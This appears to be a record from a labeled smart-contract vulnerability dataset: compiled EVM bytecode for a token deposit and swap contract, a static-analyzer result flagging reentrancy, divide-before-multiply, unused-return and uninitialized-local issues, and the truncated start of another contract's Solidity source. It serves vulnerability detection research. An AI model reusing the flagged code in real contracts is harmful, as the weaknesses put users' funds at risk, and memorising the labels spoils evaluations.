5180910390206040518061012001604052908160008201548152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620011885780601f106200115c5761010080835404028352916020019162001188565b820191906000526020600020905b8154815290600101906020018083116200116a57829003601f168201915b5050509183525050600282810154602080840191909152600384015460408085019190915260048501546001600160a01b0316606080860191909152600586015460808601528151600687018054610100600182161502600019011695909504601f810185900490940281018201835291820183815260a090950194919392849291849190840182828015620012625780601f10620012365761010080835404028352916020019162001262565b820191906000526020600020905b8154815290600101906020018083116200124457829003601f168201915b50505050508152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620013085780601f10620012dc5761010080835404028352916020019162001308565b820191906000526020600020905b815481529060010190602001808311620012ea57829003601f168201915b50505091909252505050815260408051808201825260088401546001600160a01b039081168252600985015481166020838101919091528085019290925282518084018452600a8601548152600b909501548583015292820193909352805163b9e6f1d960e01b81529051939650908b169263b9e6f1d992600480840193919291829003018186803b1580156200139e57600080fd5b505afa158015620013b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620013d99190620023fb565b9350876001600160a01b0316639f07470d6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200141557600080fd5b505afa1580156200142a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001450919062002222565b9150876001600160a01b031663d3474f856040518163ffffffff1660e01b815260040160206040518083038186803b1580156200148c57600080fd5b505afa158015620014a1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620014c7919062002222565b9050919395975091939597565b6000546001600160a01b031690565b600060606000806000620014f66200204b565b6000806200152460068a6040516200150f91906200254b565b90815260200160405180910390205462000eff565b809850819950829a50839b50849c50859d50869e50879f505050505050505050919395975091939597565b60606000805b60015481101562001671576000818152600460208190526040808320549051630906de1760e41b81526001600160a01b039091169291839163906de17091620015a3918a91889101620025a1565b60206040518083038186803b158015620015bc57600080fd5b505afa158015620015d1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620015f79190620023fb565b111562001667576200160b83600162001c36565b92506200166462001626620016208462001c65565b62001d52565b6200165d6200162062001652604051806040016040528060018152602001601f60fa1b81525062001d52565b6200165d8962001d52565b9062001d79565b93505b5060010162001555565b50915091565b6200168162001bd0565b6000546001600160a01b03908116911614620016b15760405162461bcd60e51b81526004016200038290620028a7565b60405163f2fde38b60e01b81526001600160a01b0382169063f2fde38b90620016df90339060040162002569565b600060405180830381600087803b158015620016fa57600080fd5b505af11580156200170f573d6000803e3d6000fd5b5050505050565b60606000805b6001548110156200181a576000818152600460208190526040808320549051630906de1760e41b81526001600160a01b039091169291839163906de170916200176a918b91889101620025a1565b60206040518083038186803b1580156200178357600080fd5b505afa15801562001798573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620017be9190620023fb565b118015620017e557506000828152600a60205260409020546001600160a01b038681169116145b156200181057620017f883600162001c36565b92506200180d62001626620016208462001c65565b93505b506001016200171c565b509250929050565b805160208183018101805160068252928201919093012091525481565b6001600160a01b0381166000908152600b6020908152604080832080548251818502810185019093528083526060949383018282801562000bf4576020028201919060005260206000209081548152602001906001019080831162000bdf575050505050915081519050915091565b6002546001600160a01b031681565b6000806000600684604051620018d491906200254b565b908152604080516020928190038301812054600081815260049485905292832054630906de1760e41b83529094506001600160a01b031692839163906de1709162001924918b91889101620025a1565b60206040518083038186803b1580156200193d57600080fd5b505afa15801562001952573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620019789190620023fb565b11156200198c575091506001905062001996565b6000809350935050505b9250929050565b620019a762001bd0565b6000546001600160a01b03908116911614620019d75760405162461bcd60e51b81526004016200038290620028a7565b806001600160a01b031663295ce9b56040518163ffffffff1660e01b81526004016101206040518083038186803b15801562001a1257600080fd5b505afa15801562001a27573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001a4d919062002414565b5050600380546001600160a01b0319166001600160a01b0393909316929092179091555060009450505050505b60015481101562001b0857600081815260046020819052604091829020549151634493b8f760e01b81526001600160a01b03909216918291634493b8f79162001ac69187910162002569565b600060405180830381600087803b15801562001ae157600080fd5b505af115801562001af6573d6000803e3d6000fd5b50506001909301925062001a7a915050565b5050565b60015481565b62001b1c62001bd0565b6000546001600160a01b0390811691161462001b4c5760405162461bcd60e51b81526004016200038290620028a7565b6001600160a01b03811662001b755760405162461bcd60e51b8152600401620003829062002852565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b62001c30846323b872dd60e01b85858560405160240162001bf8939291906200257d565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915262001e06565b50505050565b60008282018381101562001c5e5760405162461bcd60e51b81526004016200038290620028e0565b9392505050565b60608162001c8c57506040805180820190915260018152600360fc1b602082015262001d4d565b8160005b811562001ca657600101600a8204915062001c90565b60608167ffffffffffffffff8111801562001cc057600080fd5b506040519080825280601f01601f19166020018201604052801562001cec576020820181803683370190505b509050815b851562001d4757600019016000600a8704600a028703603001905060008160f81b90508084848151811062001d2257fe5b60200101906001600160f81b031916908160001a905350600a88049750505062001cf1565b50925050505b919050565b62001d5c620020b7565b506040805180820190915281518152602082810190820152919050565b8051825160609182910167ffffffffffffffff8111801562001d9a57600080fd5b506040519080825280601f01601f19166020018201604052801562001dc6576020820181803683370190505b509050600060208201905062001de6818660200151876000015162001e87565b84516020850151855162001dfe928401919062001e87565b509392505050565b606062001e428260405180604001604052806002815260200161065360f41b815250856001600160a01b031662001ec79092919063ffffffff16565b80519091501562001e82578080602001905181019062001e63919062002222565b62001e825760405162461bcd60e51b815260040162000382906200286f565b505050565b5b6020811062001ea9578151835260209283019290910190601f190162001e88565b905182516020929092036101000a6000190180199091169116179052565b606062001ed8848460008562001ee0565b949350505050565b606062001eed8562001fb2565b62001f0c5760405162461bcd60e51b81526004016200038290620028c4565b60006060866001600160a01b0316858760405162001f2b91906200254b565b60006040518083038185875af1925050503d806000811462001f6a576040519150601f19603f3d011682016040523d82523d6000602084013e62001f6f565b606091505b5091509150811562001f8557915062001ed89050565b80511562001f965780518082602001fd5b8360405162461bcd60e51b815260040162000382919062002819565b3b151590565b6128fb8062002a5183390190565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200200957805160ff191683800117855562002039565b8280016001018555821562002039579182015b82811115620020395782518255916020019190600101906200201c565b5062002047929150620020d1565b5090565b6040518061012001604052806000815260200160608152602001600081526020016000815260200160006001600160a01b031681526020016000815260200162002094620020e8565b8152602001620020a362002102565b8152602001620020b2620020b7565b905290565b604051806040016040528060008152602001600081525090565b5b80821115620020475760008155600101620020d2565b604051806040016040528060608152602001606081525090565b604080518082019091526000808252602082015290565b600082601f8301126200212a578081fd5b8135620021416200213b82620029e3565b620029bb565b91508082528360208285010111156200215957600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121562002184578081fd5b813562001c5e8162002a37565b60008060408385031215620021a4578081fd5b8235620021b18162002a37565b91506020830135620021c38162002a37565b809150509250929050565b60008060408385031215620021e1578182fd5b8235620021ee8162002a37565b9150602083013567ffffffffffffffff8111156200220a578182fd5b620022188582860162002119565b9150509250929050565b60006020828403121562002234578081fd5b8151801515811462001c5e578182fd5b600080600080600080600060e0888a0312156200225f578283fd5b87356200226c8162002a37565b965060208801356200227e8162002a37565b95506040880135620022908162002a37565b945060608801359350608088013567ffffffffffffffff811115620022b3578384fd5b620022c18a828b0162002119565b93505060a0880135915060c0880135905092959891949750929550565b600080600060608486031215620022f3578283fd5b8335620023008162002a37565b92506020840135620023128162002a37565b91506040840135620023248162002a37565b809150509250925092565b60006020828403121562002341578081fd5b813567ffffffffffffffff81111562002358578182fd5b62001ed88482850162002119565b60006020828403121562002378578081fd5b815167ffffffffffffffff8111156200238f578182fd5b8201601f81018413620023a0578182fd5b8051620023b16200213b82620029e3565b818152856020838501011115620023c6578384fd5b620023d982602083016020860162002a08565b95945050505050565b600060208284031215620023f4578081fd5b5035919050565b6000602082840312156200240d578081fd5b5051919050565b60008060008060008060008060006101208a8c03121562002433578182fd5b8951985060208a0151975060408a0151965060608a0151955060808a0151945060a08a0151620024638162002a37565b60c08b0151909450620024768162002a37565b60e08b0151909350620024898162002a37565b6101008b01519092506200249d8162002a37565b809150509295985092959850929598565b6001600160a01b03169052565b15159052565b60008151808452620024db81602086016020860162002a08565b601f01601f19169290920160200192915050565b80518252602090810151910152565b6000815160408452620025156040850182620024c1565b905060208301518482036020860152620023d98282620024c1565b80516001600160a01b03908116835260209182015116910152565b600082516200255f81846020870162002a08565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b604080825283519082018190526000906020906060840190828701845b82811015620025f557815184529284019290840190600101620025d7565b50505092019290925292915050565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b038a811682528981166020830152888116604083015260608201889052610120608083018190526000916200265d8483018a620024c1565b92508760a08501528660c08501528560e085015280851661010085015250509a9950505050505050505050565b600060018060a01b03808f168352808e166020840152808d1660408401528b60608401526101806080840152620026c661018084018c620024c1565b60a084019a909a5260c08301989098525060e081019590955292851661010085015290841661012084015283166101408301529091166101609091015295945050505050565b6001600160a01b038916815261010060208201819052600090620027338382018b620024c1565b89604085015288606085015287608085015283810360a08501526101608751825260208801518160208401526200276d82840182620024c1565b91505060408801516040830152606088015160608301526080880151620027986080840182620024ae565b5060a088015160a083015260c088015182820360c0840152620027bc8282620024fe565b91505060e0880151620027d360e084018262002530565b509187015191620027e9610120830184620024ef565b9250620027fd91505060c0830185620024bb565b6200280c60e0830184620024bb565b9998505050505050505050565b60006020825262001c5e6020830184620024c1565b600060408252620028436040830185620024c1565b90508260208301529392505050565b60208082526003908201526227bb9960e91b604082015260600190565b602080825260029082015261653160f01b604082015260600190565b602080825260029082015261653360f01b604082015260600190565b6020808252600390820152624f773160e81b604082015260600190565b602080825260029082015261065360f41b604082015260600190565b60208082526006908201526506164642065360d41b604082015260600190565b602080825260029082015261329960f11b604082015260600190565b90815260200190565b9182521515602082015260400190565b60006101608b8352806020840152620029518184018c620024c1565b604084018b9052606084018a90526001600160a01b038916608085015260a0840188905283810360c085015290506200298b8187620024fe565b9150506200299d60e083018562002530565b620029ad610120830184620024ef565b9a9950505050505050505050565b60405181810167ffffffffffffffff81118282101715620029db57600080fd5b604052919050565b600067ffffffffffffffff821115620029fa578081fd5b50601f01601f191660200190565b60005b8381101562002a2557818101518382015260200162002a0b565b8381111562001c305750506000910152565b6001600160a01b038116811462002a4d57600080fd5b5056fe60806040523480156200001157600080fd5b50604051620028fb380380620028fb8339810160408190526200003491620003c6565b60006200004062000285565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060018055600980546001600160a01b03808c166001600160a01b031992831617909255600a80548b8416908316179055600b805482163317905560088054928a169290911691909117905560078690558451620000ef90600c90602088019062000317565b506003849055600483905560058290556008546001600160a01b03166000908152601060209081526040808320878452825291829020825160c0810184526007608082019081526619195c1bdcda5d60ca1b60a08301528152600c80548551601f60026001841615610100026000190190931692909204918201869004860281018601909652808652929491938481019390830182828015620001d65780601f10620001aa57610100808354040283529160200191620001d6565b820191906000526020600020905b815481529060010190602001808311620001b857829003601f168201915b5050509183525050602080820186905260409091018690528254600181018455600093845292819020825180519394600402909101926200021b928492019062000317565b50602082810151805162000236926001850192019062000317565b5060408201516002820155606090910151600390910155600d80546001600160a01b0319166001600160a01b038316179055620002766001600062000289565b50505050505050505062000578565b3390565b6008546001600160a01b0316331480620002bd5750620002a862000308565b6001600160a01b0316336001600160a01b0316145b620002e55760405162461bcd60e51b8152600401620002dc90620004c5565b60405180910390fd5b6002805460ff19169215159290921761ff00191661010091151591909102179055565b6000546001600160a01b031690565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200035a57805160ff19168380011785556200038a565b828001600101855582156200038a579182015b828111156200038a5782518255916020019190600101906200036d565b50620003989291506200039c565b5090565b5b808211156200039857600081556001016200039d565b8051620003c0816200055f565b92915050565b60008060008060008060008060006101208a8c031215620003e5578485fd5b8951620003f2816200055f565b60208b015190995062000405816200055f565b60408b015190985062000418816200055f565b60608b015160808c015191985096506001600160401b038111156200043b578586fd5b8a01601f81018c136200044c578586fd5b8051620004636200045d8262000508565b620004e1565b8181528d602083850101111562000478578788fd5b6200048b8260208301602086016200052c565b80975050505060a08a0151935060c08a0151925060e08a01519150620004b68b6101008c01620003b3565b90509295985092959850929598565b602080825260029082015261065360f41b604082015260600190565b6040518181016001600160401b03811182821017156200050057600080fd5b604052919050565b60006001600160401b038211156200051e578081fd5b50601f01601f191660200190565b60005b83811015620005495781810151838201526020016200052f565b8381111562000559576000848401525b50505050565b6001600160a01b03811681146200057557600080fd5b50565b61237380620005886000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80639f07470d116100a2578063d3474f8511610071578063d3474f8514610207578063da42dfbe1461020f578063e2bbb1581461022f578063ebb1d24d14610242578063f2fde38b1461024a5761010b565b80639f07470d146101cf578063b9e6f1d9146101e4578063bc7b0b2c146101ec578063c513e4d5146101ff5761010b565b80634493b8f7116100de5780634493b8f7146101745780635a744e38146101875780638da5cb5b1461019a578063906de170146101af5761010b565b80630ae8599a146101105780632d504555146101395780633e25ed551461014e578063441a3e7014610161575b600080fd5b61012361011e366004611dc4565b61025d565b6040516101309190611fd3565b60405180910390f35b61014c610147366004611e0b565b610421565b005b61014c61015c366004611e88565b61049a565b61014c61016f366004611e88565b610914565b61014c610182366004611da8565b610b90565b61014c610195366004611e43565b610bdc565b6101a2610cf9565b6040516101309190611f82565b6101c26101bd366004611dc4565b610d08565b6040516101309190612272565b6101d7610d30565b60405161013091906120ff565b6101c2610d39565b6101c26101fa366004611da8565b610dbf565b6101c2610dd1565b6101d7610dd7565b61022261021d366004611dc4565b610de5565b604051610130919061206b565b61014c61023d366004611e88565b610fa6565b6101c2611221565b61014c610258366004611da8565b611227565b6001600160a01b03821660009081526010602090815260408083208484528252808320805482518185028101850190935280835260609492939192909184015b828210156104145760008481526020908190206040805160048602909201805460026001821615610100026000190190911604601f8101859004909402830160a090810190925260808301848152929390928492909184918401828280156103465780601f1061031b57610100808354040283529160200191610346565b820191906000526020600020905b81548152906001019060200180831161032957829003601f168201915b50505050508152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103e85780601f106103bd576101008083540402835291602001916103e8565b820191906000526020600020905b8154815290600101906020018083116103cb57829003601f168201915b50505050508152602001600282015481526020016003820154815250508152602001906001019061029d565b5050505090505b92915050565b6008546001600160a01b0316331480610452575061043d610cf9565b6001600160a01b0316336001600160a01b0316145b6104775760405162461bcd60e51b815260040161046e906121da565b60405180910390fd5b6002805460ff19169215159290921761ff00191661010091151591909102179055565b600260015414156104bd5760405162461bcd60e51b815260040161046e906121da565b60026001818155905460ff161515146104e85760405162461bcd60e51b815260040161046e906121da565b600082116105085760405162461bcd60e51b815260040161046e9061213a565b6009546040516370a0823160e01b815283916001600160a01b0316906370a0823190610538903390600401611f82565b60206040518083038186803b15801561055057600080fd5b505afa158015610564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105889190611e70565b10156105a65760405162461bcd60e51b815260040161046e90612256565b6009546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156105eb57600080fd5b505afa1580156105ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106239190611e70565b90506000600a60009054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561067557600080fd5b505afa158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190611e70565b905060006106ec6007546106e0670de0b6b3a76400006106e687600a0a6106e088600a0a8c6112dd90919063ffffffff16565b9061131e565b906112dd565b600a546040516370a0823160e01b815291925082916001600160a01b03909116906370a0823190610721903090600401611f82565b60206040518083038186803b15801561073957600080fd5b505afa15801561074d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107719190611e70565b101561078f5760405162461bcd60e51b815260040161046e90612156565b600a546107a6906001600160a01b03163383611353565b6107b085336113a9565b6006546107bd90826119e0565b60065533600090815260116020908152604080832060038054855290835292819020815160e08101835260a081019485526269646f60e81b60c0820152938452600c8054835160026001831615610100026000190190921691909104601f810186900486028201860190945283815291949384810193908301828280156108855780601f1061085a57610100808354040283529160200191610885565b820191906000526020600020905b81548152906001019060200180831161086857829003601f168201915b505050918352505060208082018590526040820189905260609091018790528254600181018455600093845292819020825180519394600502909101926108cf9284920190611d15565b5060208281015180516108e89260018501920190611d15565b506040820151600282015560608201516003820155608090910151600490910155505060018055505050565b6008546001600160a01b03163314806109455750610930610cf9565b6001600160a01b0316336001600160a01b0316145b6109615760405162461bcd60e51b815260040161046e906121da565b600082116109815760405162461bcd60e51b815260040161046e906121da565b600a546040516370a0823160e01b815283916001600160a01b0316906370a08231906109b1903090600401611f82565b60206040518083038186803b1580156109c957600080fd5b505afa1580156109dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a019190611e70565b1015610a1f5760405162461bcd60e51b815260040161046e9061213a565b600554610a2c9083611a05565b600555600880546001600160a01b031660009081526010602090815260408083206003548452825291829020825160c0810184526080810194855267776974686472617760c01b60a0820152938452600c8054845160026101006001841615026000190190921691909104601f810185900485028201850190955284815291949384840193830182828015610b025780601f10610ad757610100808354040283529160200191610b02565b820191906000526020600020905b815481529060010190602001808311610ae557829003601f168201915b505050918352505060208082018690526040909101849052825460018101845560009384529281902082518051939460040290910192610b459284920190611d15565b506020828101518051610b5e9260018501920190611d15565b5060408201516002820155606090910151600390910155600a54610b8c906001600160a01b03163384611353565b5050565b600b546001600160a01b03163314610bba5760405162461bcd60e51b815260040161046e906121af565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b610be4611a2d565b6000546001600160a01b03908116911614610c115760405162461bcd60e51b815260040161046e90612192565b600a546001600160a01b0383811691161415610c3f5760405162461bcd60e51b815260040161046e906121da565b6040516370a0823160e01b81526000906001600160a01b038416906370a0823190610c6e903090600401611f82565b60206040518083038186803b158015610c8657600080fd5b505afa158015610c9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbe9190611e70565b905060008111610ce05760405162461bcd60e51b815260040161046e9061213a565b610cf46001600160a01b0384168383611353565b505050565b6000546001600160a01b031690565b6001600160a01b03919091166000908152601160209081526040808320938352929052205490565b60025460ff1681565b600a546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610d6a903090600401611f82565b60206040518083038186803b158015610d8257600080fd5b505afa158015610d96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dba9190611e70565b905090565b600f6020526000908152604090205481565b60055481565b600254610100900460ff1681565b6001600160a01b03821660009081526011602090815260408083208484528252808320805482518185028101850190935280835260609492939192909184015b828210156104145760008481526020908190206040805160058602909201805460026001821615610100026000190190911604601f8101859004909402830160c090810190925260a0830184815292939092849290918491840182828015610ece5780601f10610ea357610100808354040283529160200191610ece565b820191906000526020600020905b815481529060010190602001808311610eb157829003601f168201915b50505050508152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f705780601f10610f4557610100808354040283529160200191610f70565b820191906000526020600020905b815481529060010190602001808311610f5357829003601f168201915b50505050508152602001600282015481526020016003820154815260200160048201548152505081526020019060010190610e25565b6008546001600160a01b0316331480610fd75750610fc2610cf9565b6001600160a01b0316336001600160a01b0316145b610ff35760405162461bcd60e51b815260040161046e906121da565b600082116110135760405162461bcd60e51b815260040161046e906121da565b600a546040516370a0823160e01b815283916001600160a01b0316906370a0823190611043903390600401611f82565b60206040518083038186803b15801561105b57600080fd5b505afa15801561106f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110939190611e70565b10156110b15760405162461bcd60e51b815260040161046e9061213a565b6005546110be90836119e0565b6005556008546001600160a01b031660009081526010602090815260408083206003548452825291829020825160c0810184526007608082019081526619195c1bdcda5d60ca1b60a08301528152600c80548551601f600260001960018516156101000201909316929092049182018690048602810186019096528086529294919384810193908301828280156111965780601f1061116b57610100808354040283529160200191611196565b820191906000526020600020905b81548152906001019060200180831161117957829003601f168201915b5050509183525050602080820186905260409091018490528254600181018455600093845292819020825180519394600402909101926111d99284920190611d15565b5060208281015180516111f29260018501920190611d15565b5060408201516002820155606090910151600390910155600a54610b8c906001600160a01b0316333085611a31565b60065481565b61122f611a2d565b6000546001600160a01b0390811691161461125c5760405162461bcd60e51b815260040161046e90612192565b6001600160a01b0381166112825760405162461bcd60e51b815260040161046e9061211d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826112ec5750600061041b565b828202828482816112f957fe5b04146113175760405162461bcd60e51b815260040161046e90612172565b9392505050565b600080821161133f5760405162461bcd60e51b815260040161046e90612236565b600082848161134a57fe5b04949350505050565b610cf48363a9059cbb60e01b8484604051602401611372929190611fba565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611a58565b6000806000806000600d60009054906101000a90046001600160a01b03166001600160a01b031663295ce9b56040518163ffffffff1660e01b81526004016101206040518083038186803b15801561140057600080fd5b505afa158015611414573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114389190611ea9565b985098505097505050955095505060006114616103e86106e0888b6112dd90919063ffffffff16565b600854600954919250611483916001600160a01b03908116918a91168b611a31565b6001600160a01b03841661149657600094505b84611556576009546040516370a0823160e01b815282916001600160a01b0316906370a08231906114cb908b90600401611f82565b60206040518083038186803b1580156114e357600080fd5b505afa1580156114f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151b9190611e70565b10156115395760405162461bcd60e51b815260040161046e906121da565b600954611551906001600160a01b0316888584611a31565b6119d6565b8460021415611621576009546040516370a0823160e01b815282916001600160a01b0316906370a082319061158f908b90600401611f82565b60206040518083038186803b1580156115a757600080fd5b505afa1580156115bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115df9190611e70565b10156115fd5760405162461bcd60e51b815260040161046e9061213a565b600954611615906001600160a01b0316883084611a31565b61155184838386611acc565b84600114156117ab576000806000600d60009054906101000a90046001600160a01b03166001600160a01b031663295ce9b56040518163ffffffff1660e01b81526004016101206040518083038186803b15801561167e57600080fd5b505afa158015611692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b69190611ea9565b50505050945094505050925060006116f1670de0b6b3a76400006106e084600a0a6106e087600a0a6106e68a8c6112dd90919063ffffffff16565b905080886001600160a01b03166370a082318d6040518263ffffffff1660e01b81526004016117209190611f82565b60206040518083038186803b15801561173857600080fd5b505afa15801561174c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117709190611e70565b1161178d5760405162461bcd60e51b815260040161046e90612256565b6117a26001600160a01b0389168c8984611a31565b505050506119d6565b6000806000600d60009054906101000a90046001600160a01b03166001600160a01b031663295ce9b56040518163ffffffff1660e01b81526004016101206040518083038186803b1580156117ff57600080fd5b505afa158015611813573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118379190611ea9565b5050505094509450505092506000611872670de0b6b3a76400006106e084600a0a6106e087600a0a6106e68a8c6112dd90919063ffffffff16565b905080886001600160a01b03166370a082318d6040518263ffffffff1660e01b81526004016118a19190611f82565b60206040518083038186803b1580156118b957600080fd5b505afa1580156118cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118f19190611e70565b106119105761190b6001600160a01b0389168c8984611a31565b6119d1565b6009546040516370a0823160e01b815286916001600160a01b0316906370a0823190611940908f90600401611f82565b60206040518083038186803b15801561195857600080fd5b505afa15801561196c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119909190611e70565b116119ad5760405162461bcd60e51b815260040161046e90612156565b6009546119c5906001600160a01b03168c3088611a31565b6119d18887878a611acc565b505050505b5050505050505050565b6000828201838110156113175760405162461bcd60e51b815260040161046e90612216565b600082821115611a275760405162461bcd60e51b815260040161046e906121f6565b50900390565b3390565b611a52846323b872dd60e01b85858560405160240161137293929190611f96565b50505050565b6060611a928260405180604001604052806002815260200161065360f41b815250856001600160a01b0316611c349092919063ffffffff16565b805190915015610cf45780806020019051810190611ab09190611def565b610cf45760405162461bcd60e51b815260040161046e9061213a565b6040805160028082526060808301845292602083019080368337505060095482519293506001600160a01b031691839150600090611b0657fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508481600181518110611b3457fe5b6001600160a01b03928316602091820292909201015260095460405163095ea7b360e01b815291169063095ea7b390611b739087908790600401611fba565b602060405180830381600087803b158015611b8d57600080fd5b505af1158015611ba1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc59190611def565b50604051635c11d79560e01b81526001600160a01b03851690635c11d79590611bfb90869060009086908890429060040161227b565b600060405180830381600087803b158015611c1557600080fd5b505af1158015611c29573d6000803e3d6000fd5b505050505050505050565b6060611c438484600085611c4b565b949350505050565b6060611c5685611d0f565b611c725760405162461bcd60e51b815260040161046e906121da565b60006060866001600160a01b03168587604051611c8f9190611f66565b60006040518083038185875af1925050503d8060008114611ccc576040519150601f19603f3d011682016040523d82523d6000602084013e611cd1565b606091505b50915091508115611ce5579150611c439050565b805115611cf55780518082602001fd5b8360405162461bcd60e51b815260040161046e919061210a565b3b151590565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611d5657805160ff1916838001178555611d83565b82800160010185558215611d83579182015b82811115611d83578251825591602001919060010190611d68565b50611d8f929150611d93565b5090565b5b80821115611d8f5760008155600101611d94565b600060208284031215611db9578081fd5b813561131781612317565b60008060408385031215611dd6578081fd5b8235611de181612317565b946020939093013593505050565b600060208284031215611e00578081fd5b81516113178161232f565b60008060408385031215611e1d578182fd5b8235611e288161232f565b91506020830135611e388161232f565b809150509250929050565b60008060408385031215611e55578182fd5b8235611e6081612317565b91506020830135611e3881612317565b600060208284031215611e81578081fd5b5051919050565b60008060408385031215611e9a578182fd5b50508035926020909101359150565b60008060008060008060008060006101208a8c031215611ec7578485fd5b8951985060208a0151975060408a0151965060608a0151955060808a0151945060a08a0151611ef581612317565b60c08b0151909450611f0681612317565b60e08b0151909350611f1781612317565b6101008b0151909250611f2981612317565b809150509295985092959850929598565b60008151808452611f528160208601602086016122eb565b601f01601f19169290920160200192915050565b60008251611f788184602087016122eb565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b60208082528251828201819052600091906040908185019080840286018301878501865b8381101561205d57603f1989840301855281516080815181865261201d82870182611f3a565b915050888201518582038a8701526120358282611f3a565b838a0151878b0152606093840151939096019290925250509386019390860190600101611ff7565b509098975050505050505050565b60208082528251828201819052600091906040908185019080840286018301878501865b8381101561205d57603f19898403018552815160a081518186526120b582870182611f3a565b915050888201518582038a8701526120cd8282611f3a565b838a0151878b01526060808501519088015260809384015193909601929092525050938601939086019060010161208f565b901515815260200190565b6000602082526113176020830184611f3a565b60208082526003908201526227bb9960e91b604082015260600190565b602080825260029082015261653160f01b604082015260600190565b602080825260029082015261653360f01b604082015260600190565b60208082526006908201526506d756c2065360d41b604082015260600190565b6020808252600390820152624f773160e81b604082015260600190565b60208082526011908201527037b7363ca330b1ba37b93c9032b93937b960791b604082015260600190565b602080825260029082015261065360f41b604082015260600190565b60208082526006908201526507375622065360d41b604082015260600190565b60208082526006908201526506164642065360d41b604082015260600190565b60208082526006908201526506469762065360d41b604082015260600190565b602080825260029082015261329960f11b604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156122ca5784516001600160a01b0316835293830193918301916001016122a5565b50506001600160a01b03969096166060850152505050608001529392505050565b60005b838110156123065781810151838201526020016122ee565b83811115611a525750506000910152565b6001600160a01b038116811461232c57600080fd5b50565b801515811461232c57600080fdfea2646970667358221220f4089623f69e90d74245afde8b5af6e1a24caccc570d7b3e0d859c89e619b77e64736f6c634300060c0033a2646970667358221220da90ed82045df36aec3e189dac4906963486274d5aa3c99742ee76363952878d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
245
0x0f14f88c2d0206db4a857a843789a0966d69afc5
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function 